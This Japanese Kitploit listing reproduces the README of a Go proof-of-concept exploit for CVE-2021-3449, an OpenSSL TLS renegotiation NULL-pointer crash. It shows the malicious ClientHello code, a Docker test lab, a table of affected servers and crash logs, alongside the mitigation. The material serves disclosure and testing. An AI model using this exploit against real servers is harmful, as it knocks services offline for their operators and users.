Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/riptl/cve-2021-3449
脆弱性分析エクスプロイトウェブセキュリティペネトレーションテスト
GitHubriptl/cve-2021-3449

cve-2021-3449

CVE-2021-3449 OpenSSL サービス拒否エクスプロイト 👨🏻‍💻

リポジトリを見る
22437185年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-3449 OpenSSL <1.1.1k DoS エクスプロイト

使用方法: go run . -host hostname:port

このプログラムは、TLSv1.2 のセキュア再ネゴシエーションが受け入れられる場合に、OpenSSL サーバー (1.1.1k より前) に影響を与える CVE-2021-3449 の概念実証 (PoC) エクスプロイトです。

TLSv1.2 サーバーに接続し、直ちに RFC 5746 の「セキュア再ネゴシエーション」を開始します。この攻撃は、悪意を持って細工された ClientHello を送信して NULL ポインタ参照 (サービス拒否) を引き起こし、サーバーをクラッシュさせます。

参照

  • OpenSSL セキュリティアドバイザリ
  • cve.mitre.org
  • Ubuntu セキュリティ通知 (USN-4891-1)
  • Debian セキュリティトラッカー
  • Red Hat CVE エントリ

この問題は 2021 年 3 月 17 日に Nokia から OpenSSL に報告されました。修正は Nokia の Peter Kästle と Samuel Sapalski によって開発されました。

対策

既知の修正方法は libssl1.1 を更新することのみです。

一部のアプリケーションはデフォルトで TLS 再ネゴシエーションを無効化する堅牢な TLS 設定を使用していますが、古い OpenSSL バージョンを実行している場合、このバグの影響を受けます。

エクスプロイト

main.go は TLS サーバーに接続し、再ネゴシエーションを強制して切断する小さなスクリプトです。

エクスプロイトコードは、バンドルされた Go 1.14.15 の encoding/tls パッケージに注入されています。handshake_client.go:115 にあります。ロジックは一目瞭然です。

// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

デモ

demo/ ディレクトリには、さまざまなアプリを脆弱なバージョンの OpenSSL でパッチするための設定が含まれています。

テストセットアップ:

  • 脆弱な OpenSSL 1.1.1j バージョンをローカルでダウンロードしてコンパイルする
  • Ubuntu 20.04 のターゲットコンテナを準備し、OpenSSL ライブラリをアップロードする
  • アプリケーションをターゲットコンテナにインストールする
  • サーバーを起動し、攻撃を実行する

要件:

  • OpenSSL (ホスト上)
  • build-essential (Perl、GCC、Make)
  • Docker

注: リストされている Web サーバーのいずれも、OpenSSL 1.1.1k 以降では CVE-2021-3449 の影響を受けません。

サーバーディストリビューションバージョンデモ結果
OpenSSL s_server-1.1.1jmake demo-opensslクラッシュ
Apache2Ubuntu 18.042.4.29make demo-apache2部分クラッシュ
HAProxyUbuntu 18.041.8.8make demo-haproxyクラッシュ
HAProxyUbuntu 20.042.0.13make demo-haproxy影響なし
lighttpdUbuntu 18.041.4.55make demo-lighttpdクラッシュ
lighttpdUbuntu 20.041.4.55make demo-lighttpdクラッシュ
lighttpdUbuntu 21.041.4.59make demo-lighttpd設定オプションで影響なし
NGINXUbuntu 18.041.14.0make demo-nginx部分クラッシュ
NGINXUbuntu 20.041.18.0make demo-nginx影響なし
Node.js <=12Ubuntu 18.04影響なし
Node.js >12Ubuntu 18.04?make demo-nodejsクラッシュ
Node.js >12Ubuntu 18.0415.14.0make demo-nodejs影響なし

すべてのデモリソースをクリーンアップするには、make clean を実行します。

OpenSSL シンプルサーバー

openssl s_server は最小限の TLS サーバー実装です。

  • make demo-openssl: フル実行 (ポート 4433)
  • make -C demo build-openssl: ターゲット Docker イメージをビルド
  • make -C demo start-openssl: ターゲットをポート 4433 で起動
  • make -C demo stop-openssl: ターゲットを停止

結果: サーバー全体がクラッシュ。

ログ

docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

デフォルト設定の Apache2 httpd Web サーバーは脆弱です。

  • make demo-apache: フル実行 (ポート 443)
  • make -C demo build-apache: ターゲット Docker イメージをビルド
  • make -C demo start-apache: ターゲットをポート 443 で起動
  • make -C demo stop-apache: ターゲットを停止

貢献してくれた @binarytrails に感謝します。

結果: 部分的な障害。メインプロセスは生存しているが、ワーカープロセスがクラッシュ。

ログ

docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &

[[truncated]]
ツールをダウンロード